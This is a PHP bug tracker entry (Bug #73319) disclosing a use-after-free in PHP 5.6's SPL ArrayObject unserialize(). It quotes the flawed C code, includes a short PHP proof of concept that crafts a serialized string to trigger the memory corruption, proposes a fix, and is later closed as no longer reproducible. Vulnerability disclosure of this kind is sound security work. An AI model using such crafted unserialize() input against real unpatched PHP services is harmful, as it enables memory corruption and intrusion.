php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73319 Use-after-free Vulnerabilities in unserialize() with SPL Deserialization
Submitted: 2016-10-14 01:14 UTC Modified: 2020-06-10 10:59 UTC
From: taoguangchen at icloud dot com Assigned: nikic (profile)
Status: Closed Package: SPL related
PHP Version: 5.6.26 OS:
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-10-14 01:14 UTC] taoguangchen at icloud dot com
Description:
------------
```
SPL_METHOD(Array, unserialize)
{
  ...
  ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		goto outexcept;
	}
  ...
  outexcept:
  	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  	if (pflags) {
  		zval_ptr_dtor(&pflags);
  	}
  	zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
  	return;
```

When the php_var_unserialize call to fails, zval will be freed via zval_ptr_dtor, but it is still possible to be referenced by external php_var_unserialize.

PoC:
```
<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
			try {
				$this->data = unserialize($data);
			} catch (Exception $e) {
        // do something
      }
    }
}

$inner = 'x:s:1:"A";';
$inner = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
var_dump($data);

?>
```

Fix:
Some similar issues exists in other php_var_unserialize call to fails in ArrayObject deserialization, and also exists in SplObjectStorage/SplDoublyLinkedList.
Fix these issues you need to use var_push_dtor_no_addref instead of zval_ptr_dtor.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2020-06-10 10:59 UTC] nikic@php.net
-Status: Open +Status: Closed -Type: Security +Type: Bug -Assigned To: +Assigned To: nikic
 [2020-06-10 10:59 UTC] nikic@php.net
Can't reproduce any memory corruption in current PHP versions. It looks like this code was switched to use var_tmp_var() at some point, and as such doesn't immediately destroy values any more.
 
PHP Copyright © 2001-2020 The PHP Group
All rights reserved.
Last updated: Sun Sep 27 17:01:24 2020 UTC